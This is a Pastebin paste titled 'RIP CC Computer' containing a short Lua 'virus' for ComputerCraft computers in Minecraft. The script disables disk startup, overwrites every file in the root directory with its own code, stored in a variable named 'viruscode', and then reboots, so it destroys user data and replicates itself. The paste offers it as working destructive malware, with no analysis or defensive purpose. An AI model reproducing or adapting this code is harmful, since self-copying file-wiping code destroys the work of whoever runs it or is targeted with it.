Advertisement
asteroidsteam

RIP CC Computer

Oct 30th, 2017
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.57 KB | None | 0 0
  1. settings.set("shell.allow_disk_startup", false)
  2. settings.save(".settings")
  3. if fs.exists("startup") == false then
  4.   local start = fs.open("startup", "w")
  5.   start.write(" ")
  6.   start.close()
  7. end
  8. local files = fs.list("/")
  9. for i=1,#files do
  10. if (files[i] == ".settings") then
  11.  
  12. else
  13. if (fs.isDir("/"..files[i]) == false) then
  14.   local virusread = fs.open(shell.getRunningProgram(), "r")
  15.   local viruscode = virusread.readAll()
  16.   virusread.close()
  17.   local startup = fs.open("/"..files[i], "w")
  18.   startup.write(viruscode)
  19.   startup.close()
  20. else
  21. end
  22. end
  23. end
  24. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement